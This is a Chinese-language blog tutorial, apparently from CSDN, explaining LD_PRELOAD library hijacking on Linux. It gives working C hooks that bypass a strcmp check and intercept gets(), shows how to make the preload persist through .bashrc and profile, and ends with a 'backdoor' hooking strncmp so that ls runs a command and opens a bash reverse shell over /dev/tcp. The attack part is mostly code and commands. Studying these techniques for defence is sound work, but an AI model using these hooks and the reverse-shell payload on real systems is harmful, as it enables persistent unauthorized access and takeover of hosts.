深入分析 LD_PRELOAD

一、前置知识

LD_PRELOAD 是 Linux/Unix 系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

1、程序的链接

程序的链接可以分为以下三种

  • 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
  • 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
  • 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

静态链接库,在 Linux 下文件名后缀为 .a,如 libstdc++.a 。在编译链接时直接将目标代码加入可执行程序。

动态链接库,在 Linux 下是 .so 文件,在编译链接时只需要记录需要链接的号,运行程序时才会进行真正的“链接”,所以称为“动态链接”。如果同一台机器上有多个服务使用同一个动态链接库,则只需要加载一份到内存中共享。因此, 动态链接库也称共享库 或者共享对象。

Linux规定动态链接库的文件名规则比如如下:

libname.so.x.y.z

  • lib:统一前缀。
  • so:统一后缀。
  • name:库名,如 libstdc++.so.6.0.21 的 name 就是 stdc++。
  • x: 主版本号 。表示库有重大升级,不同主版本号的库之间是不兼容的。如libstdc++.so.6.0.21 的主版本号是 6。
  • y: 次版本号 。表示库的增量升级,如增加一些新的接口。在主版本号相同的情况下, 高的次版本号向后兼容低的次版本号 。如 libstdc++.so.6.0.21 的次版本号是 0 。
  • z: 发布版本号 。表示库的优化、bugfix等。相同的主次版本号,不同的发布版本号的库之间 完全兼容 。如 libstdc++.so.6.0.21 的发布版本号是 21。

动态链接库的 搜索路径搜索的先后顺序

  • 编译目标代码时指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);
  • 环境变量 LD_LIBRARY_PATH 指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);
  • 配置文件 /etc/ld.so.conf 中指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);
  • 默认的动态库搜索路径 /lib
  • 默认的动态库搜索路径 /usr/lib

总结:LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib > /usr/lib

不过可以发现,这里我们要利用的环境变量 LD_PRELOAD 并没有出现在这里的搜索路径之中,反而出现了一个 LD_LIBRARY_PATH,这里关于二者之间的关系和区别在 stackoverflow 上也有大佬讨论,观点也很多,不过在这里我比较认可的是下面这个观点

LD_PRELOAD (not LD_PRELOAD_PATH) 是要在任何其他库之前加载的特定库 ( files ) 的列表,无论程序是否需要。LD_LIBRARY_PATH 是在加载无论如何都会加载的库时要搜索的 目录列表。 在 linux 上,您可以阅读 man ld.so 有关这些和其他影响动态链接器的环境变量的更多信息。

可见,这里 LD_PRELOAD 甚至超脱于动态链接库的搜索路径先后顺序之外,它可以指定在程序运行前优先加载的动态链接库

二、利用

在我的理解中,LD_PRELOAD 实际上也是一种代码注入,知识注入的方式和普遍的 Web 端注入的方式不同。

1、栗子(1)

我们重写程序运行过程中所调用的函数并将其编译为动态链接库文件,然后通过我们对环境变量的控制来让程序优先加载这里的恶意的动态链接库,进而实现我们在动态链接库中所写的恶意函数。

具体的操作步骤如下:

  1. 定义一个函数,函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。
  2. 将所写的 c 文件编译为动态链接库。
  3. 对 LD_PRELOAD 及逆行设置,值为库文件路径,接下来就可以实现对目标函数原功能的劫持了
  4. 结束攻击,使用命令 unset LD_PRELOAD 即可

这个攻击方式可以用在任意语言之中,我们这里用一个 C 语言的 demo 来进行一下测试。

whoami.c

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char name[] = "mon";
    if (argc < 2) {
        printf("usage: %s <given-name>\n", argv[0]);
        return 0;
    }
    if (!strcmp(name, argv[1])) {
        printf("\033[0;32;32mYour name Correct!\n\033[m");
        return 1;
    } else {
        printf("\033[0;32;31mYour name Wrong!\n\033[m");
        return 0;
    }
}

我们接下来写一个动态链接库,目标函数为这里进行判断的 strcmp 函数 

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    return 0;
}

由于我们通过 LD_PRELOAD 劫持了函数,劫持后启动了一个新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD,最直接的就是调用 unsetenv("LD_PRELOAD")

成功后输入什么都会提示正确

此时我们已经劫持了 strcmp 函数。

2、栗子(2):劫持 gets() 函数

hook.c

#include<stdio.h>
#include<dlfcn.h> //用于搜索原函数

/* 要求:函数的形式必须和原函数一样(返回类型,函数名,函数参数)*/
char* gets(char* str){
    
    /* 自定义的操作区域 */
    printf("hook gets! str: %s\n ",str);
    
    /* 调用原函数*/
    typeof(gets)  *func;//函数指针
    func=dlsym(RTLD_NEXT,"gets");//查找malloc函数位置  dlsym:在打开的动态库里找一个函数
    return (*func)(str); //调用原函数执行
}

编译成共享库 

gcc hook.c -fPIC -shared -ldl -D_GNU_SOURCE -o hook.so

  • -fPIC:编译器就输出位置无关目标码.适用于动态连接。
  • -shared:生成共享目标文件。

设置 LD_PRELOAD

通过设置环境变量的方法

临时设置 export LD_PRELOAD = $PWD/hook.so
永久设置
修改 profile 文件 加入 export LD_PRELOAD=${YOUR PATH}/hook.so
修改 .bashrc 文件 加入 export LD_PRELOAD=${YOUR PATH}/hook.so

编写一个测试程序 test.c

#include <stdio.h>

int main(){
    char str[20]="\0";
    printf("请输入\n");
    gets(str);
    return 0;
}

函数调用劫持效果

  

3、制作后门

在操作系统中,命令行下的命令实际上是由一系列动态链接库驱动的,在 linux 中我们可以使用readelf -Ws 命令来查看,同时系统命令存储的路径为 /uer/bin

既然都是使用动态链接库,那么假如我们使用 LD_PRELOAD 替换掉系统命令会调用的动态链接库,那么我们是不是就可以利用系统命令调用动态链接库来实现我们写在 LD_PRELOAD 中的恶意动态链接库中恶意代码的执行了呢?

这也就是我们制作后门的原理,这里以 ls 为例作示范

 我们来挑选一个操作起来比较方便的链接库,选择到 strncmp@GLIBC_2.2.5

这样我们的 ls 同时通过调用 system 调用了 id 命令

hook_strncmp.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("id");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

既然已经调用了 id,那么我们完全可以再利用这里的执行命令来反弹一个 shell

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/127.0.0.1/2333 0>&1'");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

成功反弹 shell 。

参考:奇安信攻防社区-深入分析 LD_PRELOAD

Linux函数调用劫持的方法总结(带图)_HTmonster的博客-CSDN博客_linux系统调用劫持

(SAW:Game Over!) 

  • 9
    点赞
  • 58
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值